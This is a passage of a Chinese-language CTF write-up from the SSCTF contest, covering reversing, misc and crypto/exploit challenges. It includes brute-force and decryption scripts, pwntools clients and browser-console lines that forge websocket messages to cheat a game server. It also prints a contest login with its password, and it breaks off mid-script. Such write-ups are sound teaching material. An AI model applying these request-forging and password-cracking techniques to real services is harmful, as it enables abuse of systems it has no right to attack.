a4=[0x3B,0x4C,0x7D,0x7A,0x5A,0x7D,0x75,0x7A,0x5F,0x61,0x75,0x7D,0x58,0x71,0x6 A,0x3B] 与 0x14 异或后得到/XinNianKuaiLe~/。 最后拼接前两位于后两位 [//XinNianKuaiLe~//] 执行完 sub_401473 程序走到 sub_401066 弹出一段图片和音乐,一个白板转啊 转。然后看 DisplayFunc 的函数 sub_402921(),修改参数 1.0 为 0 ,就可以得到 FLAG 了,glRotatef(angle, 0.0, 0.0, 1.0)。 最后 FLAG 图片如下: 然后就队友们各种猜,最后得到 FLAG 为 FLAG{ETIJVA3E96GXZ+HP+E380} Re500-----比赛时未作出来,赛后做 做了 Re400 的旋转以为脑洞很大了,谁知道这题的脑洞真的。。。 这题用了 debug blocker 反调试技术,子进程会开启一个服务器,父进程会读取[SsCTF]Re.txt 的内容向子进程发送,子进程会处理收到的数据并把结果发送给父进程,之后会读取 Port.txt 的内容作为端口,向自身发送 UDP 请求,其中的一些细节后面会说到。 题目一共有三层,第一层的关键是解密 sub_401945 函数,队友写程序将所有的密钥情形都 输出,发现 0xE9 时解得有意义代码,解密完后的函数是 其中 sub_40153B 是对接收的数据做 base64 编码,然后与 VURQ 比较,由此得出第一层的密 码为 UDP,而这个字符串的 ASCII 码相加也正好等于 0xE9,这一层 Port.txt 的内容为 2016, 记录两个地方的值,后面会用到 第一个地方 第二个地方 这一层的 EncryptKey 为 0xE9,v16 为 2016,因此第一个地方异或后得到 pr0oihsn1eMgylf@J88JJJ88J8J8J8JJJ8888JJJJJJJ8J8J8JJ88J8888J8JJJ888JJJJ8J8888888J buf 为 05162b4d677092b4,这一层会输出 It is UDP!。 第二层,分析服务器处理接收数据的函数得到 由此这一层要让 ret 返回 1,能返回 1 的只能是 sub_4019B5 函数 其 中 的 sub_40170B 是 TEA 加密 算法, key 为[0x44434241, 0x48474645, 0x4C4B4A49, 0x504F4E4D],密文为 38 95 3C F0 4E 5A 57 89 6F 84 3E 01 BC 50 C8 5C 6A 7C 59 67 EC BA 77 FD 73 2E,而 TEA 加密是 8 个字节一组,生成的密文长度是 8 的倍数,但这组的密文长度是 26, 最后两个字符不做处理,对前 24 个字节进行解密再加上最后两个字符得到第二层的密码为 WoyaoDuanKouHaoHeFlag,Pls. ,端口号为 2447,这一层的 EncryptKey 为 2446,之前上面那 两处地方的第一处地方的数据为 第二处的 buf 为 0d1e23456f789abc,这一层输出 Port:2447。 最后要让 ret 返回 2,而这个需要调用 sub_4017CF 函数 这 个 函 数 中 是 对 接 收 到 的 数 据 进 行 哈 夫 曼 编 码 , 最 后 与 0000110100011110001000110100010111101101011011110111100011111001101010111100 对比,那对应关系在哪呢,开始脑洞 前面得到了 pr0oihsn1eMgylf@J88JJJ88J8J8J8JJJ8888JJJJJJJ8J8J8JJ88J8888J8JJJ888JJJJ8J8888888J 05162b4d677092b4 没用 0d1e23456f789abc 上面图片中的后面部分看成高低电平,高电平代表 1,低电平代表 0,按照 pr0oihsn1eMgylf@ 这个顺序得到对应的编码 按照这个对应关系解码最后对比的哈夫曼编码可以得到 flag 为 fl@gMyengl1shisp0or,最后 输出 0K!You Got 1t!。 还有上面的 0d1e23456f789abc 转换成二进制表示为 按照这个解码得到 fl@gMyen1ship0or,但是这个比正确的 flag 少了 3 个字符。 杂项部分(Misc) Misc10(Welcome) 签到题目,啥也不说了直接上图,手机截图,请见谅。。。 Misc100(Speed Data) 开始想多了,想到什么 CVE 什么 Word 漏洞上去了,后来想到才 100 分,想到可能是 pdf 隐写,所以在 google 上搜索 pdf stego ,找了几个工具,其中一个工具叫 Wbstego,直 接解密了即可: Misc200(Puzzle) 图片中的二维码得到 # flag = f[root] # f[x] = d[x] xor max(f[lson(x)], f[rson(x)]) : x isn't leaf # f[x] = d[x] : x is leaf 在 wav 最后 1s 明显有杂音,发现藏了数据 去掉一半的 00,得到一个 7z,剩下就是找口令了 尝试了各种 wav 和 jpg 隐写,最后机智的队友居然在 1 份 54 秒左右听到杂音 在网上找了个大小为 38.5m 的渡口,进行波形比较,发现在 sample501800 靠后 点有巨大的差异。 把那段数据截取出来,strings 看下,有这样一个字符串{1L0vey0u*.*me} 利用这个口令解开了 7z 解开之后是 0 和 1 文件夹(分别代表左右儿子),以及每个文件夹下有个 d(这是 每个节点的数据) 先生成个目录,按照二叉树顺序存储结构的方式读取所有数据,脚本: mululist=[] def readmulu(): fm=open('mulu.txt','rb') while True: line=fm.readline().strip('\x0d\x0a') if line: mululist.append(line+'d') else: break readmulu() node=[] ct=0 for ml in mululist: ct+=1 #print ml f=open(ml,'rb') t=int(f.read()[2:],2) #print t node.append(t) print ct nodenum=127 def lson(x): ret=x*2 if ret > nodenum: print "l erro" ret=0 return ret def rson(x): ret=(x*2)+1 if ret > nodenum: print "r erro" ret=0 return ret def d(x): if x <= nodenum: return node[x-1] def haveson(x): if x*2<nodenum: return 1 else: return 0 def f(x): if not haveson(x): return d(x) else: l=0 r=0 rs=rson(x) ls=lson(x) if rs!=0: r=f(rs) if ls!=0: l=f(ls) return d(x)^max(l,r) print hex(f(1)) ''' >>> s='53534354467b5353435446266e3163613163613126326f6936262a2e2a7d' >>> s.decode('hex') 'SSCTF{SSCTF&n1ca1ca1&2oi6&*.*}' ''' Misc300(Hungry Game) 这道题目是一个 js 写的游戏,最终目的是打 boss。 在解题的过程中,有这么几层: 第一层:有一道过不去的门,提示找钥匙但是并不知道钥匙在哪。通过阅读 game.js 代码可 以知道,游戏通过发送 msg('next', {}) 来进入下一关。所以果断打开浏览器控制台输入如下 代码: ws.send(JSON.stringify([msg('next', {})])); 即可进入下一层。 第二层:从这里开始游戏不允许直接跳关。游戏要求采集 9999 的木头,按住空格,1 秒一 个。然而游戏时间限制在 5 分钟,通常手段必然过不去。阅读 game.js 得知 msg('wood', {'time': tmp})为发送到服务器的数据,tmp 是时间(毫秒),所以构造 payload: ws.send(JSON.stringify([msg('wood',{'time':100000000000000})]));ws.send(JSON.stringify([msg(' next', {})])); 即可进入下一关。 第三层:游戏要求采集 9999 的钻石,按空格一下一个。采用和第二层相同的方式,发现服 务器有检查,不能按得过快(也就是不能在一次内采集过多钻石),于是改为 for 循环形式: for(var i=0;i<2000;i++){ws.send(JSON.stringify([msg('diamond',{'count':5})]))};ws.send(JSON.stringify([ms g('next', {})])); 即可进入下一关。 第四层:这层是 boss 层,游戏要求玩家攻击 boss15 下,提示说近战武器无法伤到 boss,经 过测试发现玩家靠近 boss 即被秒杀。于是在远离 boss 的位置输入如下代码: function attack(){ws.send(JSON.stringify([msg('attack',{'x':boss.x,'y': boss.y})]));setTimeout("attack()",1000);};attack(); 等待 15 秒即可获得 flag 效果: Misc400(Warrior And Tower III) -----比赛时未作出来,赛后做 这道题目到现在我也没搞懂... 这是道算法题目,是要玩一个捡肥皂的游戏。游戏开始从左到右有 6 个桩子,每个桩子旁边 有一堆肥皂,玩家可以把任意块肥皂从某个桩子移动到下一个桩子,最后没有肥皂可以捡的 玩家输掉游戏。 一开始一直在想怎么获胜,写了好几种方式然而都没有什么卵用,直到赛后队友告诉我这个 是通过 AI 的 bug 来获得 flag 的:因为 AI 每次捡肥皂只能捡桩子周围两个距离以内的,但是 AI 还要捡完周围的,所以把肥皂连城一条线就能获胜。 ......好吧 - -、然而并没有做出来,赛后搞定就当做纪念吧。 脚本: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys EMAIL = 'I won\'t give you this.' PWD = 'I won\'t give you this.' io = remote('socket.lab.seclover.com',23333) def cls(): return class GameSolver: def __init__(self,io): self.MAP = [] self.BLOCK = [] self.PIVOT = [] self.POSX = 0 self.POSY = 0 self.IO = io self.MAXX = 0 self.MAXY = 0 self.PA_FOUND = 0 self.PA_RESULT = 0 self.PO_FOUND = 0 self.PO_RESULT = 0 return def StartGame(self): self.IO.recvuntil("Input 'start' to start the game\r\n") self.IO.sendline('start\n') self.ReadMap() self.DumpInfo() return def ScanPivot(self,pos,id): DIRECTION = [(0,-1),(0,1),(1,0),(-1,0)] self.VISITED[pos[0]][pos[1]] = 1 for i in DIRECTION: nextx = pos[0] + i[0] nexty = pos[1] + i[1] if self.MAP[nextx][nexty] == '@' and not self.VISITED[nextx][nexty]: # self.MAP[nextx][nexty] = '0' self.BLOCK[id].append((nextx,nexty)) self.ScanPivot((nextx,nexty),id) # self.MAP[nextx][nexty] = '@' return def GetPivotAdjacentFreeSpace(self,pos): DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)] DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)] self.VISITED[pos[0]][pos[1]] = 1 for i in DIRECTION: nextx = pos[0] + i[0] nexty = pos[1] + i[1] if not self.VISITED[nextx][nexty]: if self.MAP[nextx][nexty] == '@' and not self.PA_FOUND: self.GetPivotAdjacentFreeSpace((nextx,nexty)) elif self.MAP[nextx][nexty] == '.': adj = 0 for j in DIRECTIONJ: kx = nextx + j[0] ky = nexty + j[1] if self.MAP[kx][ky] == '@': adj += 1 if adj > 1: continue self.PA_FOUND = 1 self.PA_RESULT = (nextx,nexty) return elif self.PA_FOUND: return return def GetPivotOutsideBlock(self,pos): #print pos #DIRECTION = [(1,0),(-1,0),(0,-1),(0,1)] #DIRECTIONJ = [(1,0),(-1,0),(0,-1),(0,1)] DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)] DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)] self.VISITED[pos[0]][pos[1]] = 1 for i in DIRECTION: nextx = pos[0] + i[0] nexty = pos[1] + i[1] #print 'Going ', (nextx,nexty) if not self.VISITED[nextx][nexty] and self.MAP[nextx][nexty] == '@': self.GetPivotOutsideBlock((nextx,nexty)) if self.PO_FOUND: return for j in DIRECTIONJ: kx = nextx + j[0] ky = nexty + j[1] if self.MAP[kx][ky] == '.': self.PO_FOUND = 1 self.PO_RESULT = (nextx,nexty) return return def GetPivotPos(self,id): return self.PIVOT[id] # FIXED def ReadMap(self): # init self.MAP = [] self.BLOCK = [] self.PIVOT = [] self.POSX = 0 self.POSY = 0 map_buf = list(self.IO.recv(99999)) t = map_buf try: while map_buf[0] != '#': map_buf.pop(0) # remove all dummy characters except Exception,e: print e, t self.IO.interactive() X = 0 Y = 0 while 1: self.MAP.append([]) Y = 0 while 1: ch = map_buf.pop(0) #print ord(ch) if ch == '\n': self.MAXY = Y break self.MAP[X].append(ch) Y += 1 X += 1 if len(map_buf) == 0: break self.MAXX = X # scan map for pivots self.VISITED = [] for i in range(self.MAXX): self.VISITED.append([]) for j in range(self.MAXY): self.VISITED[i].append(0) for i in range(self.MAXX): for j in range(self.MAXY): if self.MAP[i][j] == 'A': self.POSX = i self.POSY = j elif self.MAP[i][j] == '$': self.BLOCK.append([]) self.ScanPivot((i,j),len(self.PIVOT)) self.PIVOT.append((i,j)) return def GotoPos(self,pos,ignoreBlocks=True): print 'Going to', pos path = '' q = [] visit = [] for i in range(self.MAXX): visit.append([]) for j in range(self.MAXY): visit[i].append(0) visit[self.POSX][self.POSY] = 1 q.append({'pos':(self.POSX,self.POSY,''),'prev':0}) DIRECTION = [(0,1,'l'),(1,0,'j'),(-1,0,'k'),(0,-1,'h')] while len(q) > 0: cur = q.pop(0) if cur['pos'][0] == pos[0] and cur['pos'][1] == pos[1]: while isinstance(cur,dict): path = cur['pos'][2] + path cur = cur['prev'] return path for i in DIRECTION: next_x = cur['pos'][0] + i[0] next_y = cur['pos'][1] + i[1] if not visit[next_x][next_y] and self.MAP[next_x][next_y] != '#' and self.MAP[next_x][next_y] != '$': if not ignoreBlocks and self.MAP[next_x][next_y] == '@': continue q.append({'pos':(next_x,next_y,i[2]),'prev':cur}) visit[next_x][next_y] = 1 # cannot get there return '' def SendCmd(self,cmd,interactive=False): log.info("Cmd : " + cmd) self.IO.sendline(cmd) if interactive: self.IO.interactive() else: self.ReadMap() # Reload Map self.DumpInfo() return def DumpInfo(self): print self.MAXX, self.MAXY for i in range(self.MAXX): for j in range(self.MAXY): sys.stdout.write(self.MAP[i][j]) sys.stdout.write('\n') print self.MAXY * '-' ''' for i in self.PIVOT: print 'PIVOT : ', i for i in self.BLOCK: print 'BLOCK : ', i ''' return def ClearVisited(self): self.VISITED = [] for i in range(self.MAXX): self.VISITED.append([]) for j in range(self.MAXY): self.VISITED[i].append(0) return def MoveFromTo(self,f,t,num=-1): k = num if num == -1: k = 99999 for i in range(k): if len(self.BLOCK[f]) == 0: break self.PO_FOUND = 0 self.ClearVisited() self.GetPivotOutsideBlock(self.GetPivotPos(f)) if self.PO_FOUND == 0: log.warning("Cannot find an outside block!") exit(0) pos = self.PO_RESULT self.SendCmd(self.GotoPos(pos) + 'L') self.PA_FOUND = 0 self.ClearVisited() self.GetPivotAdjacentFreeSpace(self.GetPivotPos(t)) if self.PA_FOUND == 0: log.warning("Cannot find an outside block!") exit(0) pos = self.PA_RESULT self.SendCmd(self.GotoPos(pos,False) + 'P') return def BackToOrigin(self,interactive=False): self.SendCmd(self.GotoPos((1,1),True),interactive) return def CloseGame(self): self.IO.close() return def Solve(self): self.MoveFromTo(3,4,10) self.BackToOrigin(True) return def main(): io.recvuntil('Email Addr :') io.sendline(EMAIL) io.recvuntil('Password :') io.sendline(PWD) try: Game = GameSolver(io) Game.StartGame() Game.Solve() Game.CloseGame() except Exception,e: print e io.interactive return 0 if __name__ == '__main__': main() 效果: wtf... 解密和溢出(Crypto&Exploit) Crypto&Exploit100(HeHeDa) 简单看下,发现可以逐位爆破,直接上 python 脚本 先爆破 key: def LShift(t, k): k %= 8 return ((t << k) | (t >> (8 - k))) & 0xff def encode(p): ret = "" for i in range(8): ret = ('|' if (p >> i) & 1 else 'O') + ret return ret A = [85, 128, 177, 163, 7, 242, 231, 69, 185, 1, 91, 89, 80, 156, 81, 9, 102, 221, 195, 33, 31, 131, 179, 246, 15, 139, 205, 49, 107, 193, 5, 63, 117, 74, 140, 29, 135, 43, 197, 212, 0, 189, 218, 190, 112, 83, 238, 47, 194, 68, 233, 67, 122, 138, 53, 14, 35, 76, 79, 162, 145, 51, 90, 234, 50, 6, 225, 250, 215, 133, 180, 97, 141, 96, 20, 226, 3, 191, 187, 57, 168, 171, 105, 113, 196, 71, 239, 200, 254, 175, 164, 203, 61, 16, 241, 40, 176, 59, 70, 169, 146, 247, 232, 152, 165, 62, 253, 166, 167, 182, 160, 125, 78, 28, 130, 159, 255, 124, 153, 56, 58, 143, 150, 111, 207, 206, 32, 144, 75, 39, 10, 201, 204, 77, 104, 65, 219, 98, 210, 173, 249, 13, 12, 103, 101, 21, 115, 48, 157, 147, 11, 99, 227, 45, 202, 158, 213, 100, 244, 54, 17, 161, 123, 92, 181, 243, 184, 188, 84, 95, 27, 72, 106, 192, 52, 44, 55, 129, 208, 109, 26, 24, 223, 64, 114, 19, 198, 23, 82, 120, 142, 178, 214, 186, 116, 94, 222, 86, 251, 36, 4, 248, 132, 25, 211, 199, 30, 87, 60, 127, 155, 41, 224, 151, 237, 136, 245, 37, 170, 252, 8, 42, 209, 46, 108, 88, 183, 149, 110, 66, 235, 229, 134, 73, 38, 118, 236, 119, 154, 216, 217, 240, 22, 121, 174, 93, 126, 230, 228, 18, 148, 220, 172, 2, 137, 34] B = [0, 2, 3, 7, 1, 5, 6, 4] C = [179, 132, 74, 60, 94, 252, 166, 242, 208, 217, 117, 255, 20, 99, 225, 58, 54, 184, 243, 37, 96, 106, 64, 151, 148, 248, 44, 175, 152, 40, 171, 251, 210, 118, 56, 6, 138, 77, 45, 169, 209, 232, 68, 182, 91, 203, 9, 16, 172, 95, 154, 90, 164, 161, 231, 11, 21, 3, 97, 70, 34, 86, 124, 114, 119, 223, 123, 167, 47, 219, 197, 221, 193, 192, 126, 78, 39, 233, 4, 120, 33, 131, 145, 183, 143, 31, 76, 121, 92, 153, 85, 100, 52, 109, 159, 112, 71, 62, 8, 244, 116, 245, 240, 215, 111, 134, 199, 214, 196, 213, 180, 189, 224, 101, 202, 201, 168, 32, 250, 59, 43, 27, 198, 239, 137, 238, 50, 149, 107, 247, 7, 220, 246, 204, 127, 83, 146, 147, 48, 17, 67, 23, 93, 115, 41, 191, 2, 227, 87, 173, 108, 82, 205, 49, 1, 66, 105, 176, 22, 236, 29, 170, 110, 18, 28, 185, 235, 61, 88, 13, 165, 188, 177, 230, 130, 253, 150, 211, 42, 129, 125, 141, 19, 190, 133, 53, 84, 140, 135, 10, 241, 222, 73, 12, 155, 57, 237, 181, 36, 72, 174, 207, 98, 5, 229, 254, 156, 178, 128, 55, 14, 69, 30, 194, 122, 46, 136, 160, 206, 26, 102, 218, 103, 139, 195, 0, 144, 186, 249, 79, 81, 75, 212, 234, 158, 163, 80, 226, 65, 200, 38, 187, 113, 63, 24, 25, 142, 51, 228, 35, 157, 216, 104, 162, 15, 89] D = [2, 4, 0, 5, 6, 7, 1, 3] plain = bytearray("asdfghjk") print plain #key = bytearray('12345678') #assert len(key) == 8 ss=[chr(x) for x in range(0x20,0x80)] res='OO|OO||OO|||||OO|OO||O||O|O||O|||O|OOOOOOO|O|O|O|||||OO||| O|||OO||O|OOOOOO|O|OO|OO||||OO|||OOOO|||||O||||O|OO|O|O|O||OO| O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OO OOO|||OO|O|' def fuzz(key): t1 = bytearray() for i in plain[0:len(key)]: t1.append(A[i]) t2 = bytearray() for i in range(len(t1)): t2.append(LShift(t1[i], B[i % 8])) for times in range(16): for i in range(len(t2)): t2[i] = C[t2[i]] for i in range(len(t2)): t2[i] = LShift(t2[i], i ^ D[i % 8]) for i in range(len(t2)): t2[i] ^= key[i % 8] out = "" for i in t2: out += encode(i) if out==res[0:8*len(key)]: #print out print key for t1 in ['@','^']: for t2 in ['N','&']: for t3 in ['9','T']: for t in ss: key=t1+t2+'#qD'+t3+'3'+t fuzz(bytearray(key)) 得到 key 为^&#qD93_ 再爆破 flag def LShift(t, k): k %= 8 return ((t << k) | (t >> (8 - k))) & 0xff def encode(p): ret = "" for i in range(8): ret = ('|' if (p >> i) & 1 else 'O') + ret return ret A = [85, 128, 177, 163, 7, 242, 231, 69, 185, 1, 91, 89, 80, 156, 81, 9, 102, 221, 195, 33, 31, 131, 179, 246, 15, 139, 205, 49, 107, 193, 5, 63, 117, 74, 140, 29, 135, 43, 197, 212, 0, 189, 218, 190, 112, 83, 238, 47, 194, 68, 233, 67, 122, 138, 53, 14, 35, 76, 79, 162, 145, 51, 90, 234, 50, 6, 225, 250, 215, 133, 180, 97, 141, 96, 20, 226, 3, 191, 187, 57, 168, 171, 105, 113, 196, 71, 239, 200, 254, 175, 164, 203, 61, 16, 241, 40, 176, 59, 70, 169, 146, 247, 232, 152, 165, 62, 253, 166, 167, 182, 160, 125, 78, 28, 130, 159, 255, 124, 153, 56, 58, 143, 150, 111, 207, 206, 32, 144, 75, 39, 10, 201, 204, 77, 104, 65, 219, 98, 210, 173, 249, 13, 12, 103, 101, 21, 115, 48, 157, 147, 11, 99, 227, 45, 202, 158, 213, 100, 244, 54, 17, 161, 123, 92, 181, 243, 184, 188, 84, 95, 27, 72, 106, 192, 52, 44, 55, 129, 208, 109, 26, 24, 223, 64, 114, 19, 198, 23, 82, 120, 142, 178, 214, 186, 116, 94, 222, 86, 251, 36, 4, 248, 132, 25, 211, 199, 30, 87, 60, 127, 155, 41, 224, 151, 237, 136, 245, 37, 170, 252, 8, 42, 209, 46, 108, 88, 183, 149, 110, 66, 235, 229, 134, 73, 38, 118, 236, 119, 154, 216, 217, 240, 22, 121, 174, 93, 126, 230, 228, 18, 148, 220, 172, 2, 137, 34] B = [0, 2, 3, 7, 1, 5, 6, 4] C = [179, 132, 74, 60, 94, 252, 166, 242, 208, 217, 117, 255, 20, 99, 225, 58, 54, 184, 243, 37, 96, 106, 64, 151, 148, 248, 44, 175, 152, 40, 171, 251, 210, 118, 56, 6, 138, 77, 45, 169, 209, 232, 68, 182, 91, 203, 9, 16, 172, 95, 154, 90, 164, 161, 231, 11, 21, 3, 97, 70, 34, 86, 124, 114, 119, 223, 123, 167, 47, 219, 197, 221, 193, 192, 126, 78, 39, 233, 4, 120, 33, 131, 145, 183, 143, 31, 76, 121, 92, 153, 85, 100, 52, 109, 159, 112, 71, 62, 8, 244, 116, 245, 240, 215, 111, 134, 199, 214, 196, 213, 180, 189, 224, 101, 202, 201, 168, 32, 250, 59, 43, 27, 198, 239, 137, 238, 50, 149, 107, 247, 7, 220, 246, 204, 127, 83, 146, 147, 48, 17, 67, 23, 93, 115, 41, 191, 2, 227, 87, 173, 108, 82, 205, 49, 1, 66, 105, 176, 22, 236, 29, 170, 110, 18, 28, 185, 235, 61, 88, 13, 165, 188, 177, 230, 130, 253, 150, 211, 42, 129, 125, 141, 19, 190, 133, 53, 84, 140, 135, 10, 241, 222, 73, 12, 155, 57, 237, 181, 36, 72, 174, 207, 98, 5, 229, 254, 156, 178, 128, 55, 14, 69, 30, 194, 122, 46, 136, 160, 206, 26, 102, 218, 103, 139, 195, 0, 144, 186, 249, 79, 81, 75, 212, 234, 158, 163, 80, 226, 65, 200, 38, 187, 113, 63, 24, 25, 142, 51, 228, 35, 157, 216, 104, 162, 15, 89] D = [2, 4, 0, 5, 6, 7, 1, 3] #plain = bytearray("asdfghik123456") #print plain key = bytearray('^&#qD93_') #assert len(key) == 8 ss=[chr(x) for x in range(0x0,0xff)] res='OO|OO||OO|||||OO|OO||O||O|O||O|||O|OOOOOOO|O|O|O|||||OO||| O|||OO||O|OOOOOO|O|OO|OO||||OO|||OOOO|||||O||||O|OO|O|O|O||OO| O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OO OOO|||OO|O|' flag='OO||O||O|O|||OOOO||||||O|O|||OOO||O|OOOO||O|O|OO|||||OOOO| |||O||OO|OO||O||O|O|O|||||OOOOOO|O|O||OOOOOOO||O|||OOOO||OO|O O|||O|OO|O|||O|O|OO|OOOO|OOO|OOO|OOOO||O|OO||||OO||||OOO|O|O ||OO||||O||OOO|||O|OO|OO||OO||OOOO|O|' def fuzz(plain): t1 = bytearray() for i in plain: t1.append(A[i]) t2 = bytearray() for i in range(len(t1)): t2.append(LShift(t1[i], B[i % 8])) for times in range(16): for i in range(len(t2)): t2[i] = C[t2[i]] for i in range(len(t2)): t2[i] = LShift(t2[i], i ^ D[i % 8]) for i in range(len(t2)): t2[i] ^= key[i % 8] out = "" for i in t2: out += encode(i) if out in flag: #print out print repr(plain) for t in ss: #f='SSCTF{'+'\x98qaz9ol.\xabhy64rfvQujm'+t f='SSCTF{1qaz9ol.nhy64rfv7ujm'+t fuzz(bytearray(f)) 得到 SSCTF{1qaz9ol.nhy64rfv7ujm} Crypto&Exploit200(Chain Rule) 将所有 zip 以密码 start 解压后,发现一个解开的 1.txt 内容为 Next password is [hh.M5Px4U%8]*2z 再用这个密码去解压所有 zip 就是了,机智的队友很快编写了脚本,最后解开得 到 flag.zip 和 pwd.zip pwd.zip 里有很多 txt,需要找到一条路径,从 start.txt 到达 376831.txt,得到提示 Follow the path, collect the comments. Avoid the BLACKHOLE! 爆破压缩包密码的脚本: import zipfile import os from threading import Thread import time nowDir = '.' Now = os.listdir(nowDir) def extract(output_dir,password): global Now for zip_file in Now: try: f_zip = zipfile.ZipFile(zip_file, 'r') f_zip.extractall(output_dir,pwd=password) print zip_file f_zip.close() f = open('1.txt','r') p = f.readlines()[0][-16:] f.close() return p except: continue Pass = 'start' for i in xrange(len(Now)): Pass = extract('.',Pass) print i,Pass 写了个脚本得到路径: rt subprocess def fun(): txtid='376'+'831' res=txtid+'<-' #for i in range(100): while True: ret=subprocess.check_output(['grep','-R',txtid]) if 'Game' in ret: res+='come back done' break txtid=ret[0:ret.find('.txt')] res+=txtid+'<-' print res fun() 然后就是跟着路径收集 comments 了 这里卡了很久,后来研究了 zip 的格式 comments 就在每个 zip 的最后 仔细看下 pwd.zip 后面,每个.txt 和 PK 之间存放有个 tab 或空格的注释 提取出来: f1=open('pwdc','rb') f1c=f1.read() f2=open('lujing','rb') f2c=f2.read() def gc(txtid): t=f1c[f1c.find(txtid+'.txt')+10:] ret=t[:t.find('PK')] return ret res='' for i in range(len(f2c)/8): txtid=f2c[i*8:i*8+6] res=gc(txtid)+res f1.close() f2.close() f3=open('comments','wb') f3.write(res) f3.close() 由于只有两种符号,把它转换为 0/1 试试,得到 When I am dead, my dearest, Sing no sad songs for me; Plant thou no roses at my head, Nor shady cypress tree: Be the green grass above me With showers and dewdrops wet: And if thou wilt, remember, And if thou wilt, forget. password part1:Thispasswordistoolong I shall not see the shadows, I shall not see the rain; I shall not hear the nightingle Sing on as if in pain: And dreaming through the twilight That doth not rise nor set, Haply I may remember, And haply I may forget. password part2:andyoudon'twanttocrackitbybruteforce flag.zip 的密码出来了 Thispasswordistoolongandyoudon'twanttocrackitbybruteforce 得到 Flag is SSCTF{Somewhere_Over_The_Rainbow} Crypto&Exploit300(Nonogram) 这题是个 logic pic 游戏,每次能解出一张二维码,而这张二维码里面存着每一位 flag 的 加盐 hash 加密值和通往下一关的 command,总共有 25*25 和 29*29 两种类型的二维码,git 上找开源项目改改后能解出大部分二维码,但是有的题目有多个解,用普通算法没法求出所 有解(所有解中只有一种能扫出来),尝试过修改源码对同一组数据采用不同方向求解(从 上到下,从下到上等)仍然效果不好,最后发现一个在线解 nonogram 的网站能秒破: http://www.lancs.ac.uk/~simpsons/nonogram/auto,结合之前的脚本就能的到 flag。 部分脚本如下: from pwn import * import time from PIL import Image, ImageDraw SYMBOL_EMPTY = 0 SYMBOL_X = 1 SYMBOL_FILLED = 2 # def fixed_sum_digits(digits, Tot): """ adapted from http://stackoverflow.com/a/8617750 Given digits and Tot, it generates an array of all ways to arrange "digits" x digits so that the sum of them is "Tot". Zero can be a digit on either end, otherwise it must be one or greater """ ways = [] def iter_fun(sum, deepness, sequence, Total): if deepness == 0: if sum == Total: ways.append(sequence) else: on_end = deepness == 1 or deepness == digits for i in range(0 if on_end else 1, Total - sum + 1): iter_fun(sum + i, deepness - 1, sequence + [i], Total) iter_fun(0, digits, [], Tot) return ways def generate_possible_rows(nums, size): digits = len(nums) + 1 space_left = size - sum(nums) combos = fixed_sum_digits(digits, space_left) rows = [] for combo in combos: row = [None] * (len(combo) + len(nums)) row[::2] = combo row[1::2] = nums out = [] curr = SYMBOL_X; for r in row: out.extend([curr] * r) curr = SYMBOL_X if (curr == SYMBOL_FILLED) else SYMBOL_FILLED rows.append(out) return rows def filter_rows(rows, existing): def is_row_okay(row, existing): for i in range(0, len(existing)): if existing[i] != 0 and row[i] != existing[i]: return False return True return [row for row in rows if is_row_okay(row, existing)] def find_common_rows(rows, size): row_x = [SYMBOL_X] * size row_filled = [SYMBOL_FILLED] * size for row in rows: for i in range(0, size): if row[i] == SYMBOL_FILLED: row_x[i] = SYMBOL_EMPTY if row[i] == SYMBOL_X: row_filled[i] = SYMBOL_EMPTY return [x + y for x, y in zip(row_x, row_filled)] def do_row(nums, size, existing=None): possible = generate_possible_rows(nums, size) if existing is not None: possible = filter_rows(possible, existing) common = find_common_rows(possible, size) if existing is not None: for i in range(0, size): if common[i] == SYMBOL_EMPTY: common[i] = existing[i] return common def is_row_filled(row): for x in row: if x == SYMBOL_EMPTY: return False return True # Grid abstraction handlers def grid_make(w, h): return [[SYMBOL_EMPTY for i in range(0, w)] for j in range(0, h)] def grid_get_row(grid, row): return grid[row] def grid_get_col(grid, col): return [row[col] for row in grid] def grid_set_row(grid, row, val): grid[row] = val def grid_set_col(grid, col, val): for row in range(0, len(grid)): grid[row][col] = val[row] def grid_print(grid): symbol_print = [' ', '·', '█'] for row in grid: s = "" for x in row: s += symbol_print[x] print(s) def grid_filled(grid): for row in grid: if not is_row_filled(row): return False return True def grid_image(grid, size=10): w, h = len(grid[0]), len(grid) im = Image.new("RGB", (w * size, h * size), (255, 255, 255)) draw = ImageDraw.Draw(im) for y in range(0, h): row = grid[y] for x in range(0, w): val = row[x] coord = [(x * size, y * size), ((x + 1) * size, (y + 1) * size)] if val == SYMBOL_FILLED: draw.rectangle(coord, fill=(0, 0, 0)) if val == SYMBOL_X: draw.rectangle(coord, fill=(255, 128, 128)) return im # end grid abstraction handlers def go(cols, rows ,num): w = len(cols) h = len(rows) g = grid_make(w, h) #num = 0 def snapshot(name="nonogram"): #num = 0 im = grid_image(g) im.save("%s_%04d.png" % (name, num)) #num += 1 snapshot() while not grid_filled(g): for i in range(0, h): row = grid_get_row(g, i) if is_row_filled(row): continue d = do_row(test_rows[i], h, row) grid_set_row(g, i, d) snapshot() for i in range(0, w): col = grid_get_col(g, i) if is_row_filled(col): continue d = do_row(test_cols[i], w, col) grid_set_col(g, i, d) snapshot() snapshot() return g conn = remote('socket.lab.seclover.com',52700) print conn.recvuntil('Email Addr :') conn.sendline('[email protected]') print conn.recvuntil('Password :') conn.sendline('uhOadRGbnHri') print conn.recvuntil(':~$') conn.sendline('sudo su') ss = conn.recvuntil('}') conn.recvuntil('#') conn.sendline('id') print conn.recvuntil('#') conn.sendline('w') print conn.recvuntil('#') conn.sendline('eval') print conn.recvuntil('#') conn.sendline('bash') print conn.recvuntil('#') conn.sendline('ls') print conn.recvuntil('#') conn.sendline('dir') print conn.recvuntil('#') conn.sendline('cd') print conn.recvuntil('#') conn.sendline('mv') print conn.recvuntil('#') conn.sendline('cp') print conn.recvuntil('#') conn.sendline('pwd') print conn.recvuntil('#') conn.sendline('tree') print conn.recvuntil('#') conn.sendline('apt') print conn.recvuntil('#') conn.sendline('mysql') print conn.recvuntil('#') conn.sendline('php') print conn.recvuntil('#') conn.sendline('head') print conn.recvuntil('#') conn.sendline('tail') print conn.recvuntil('#') conn.sendline('cat') print conn.recvuntil('#') conn.sendline('grep') print 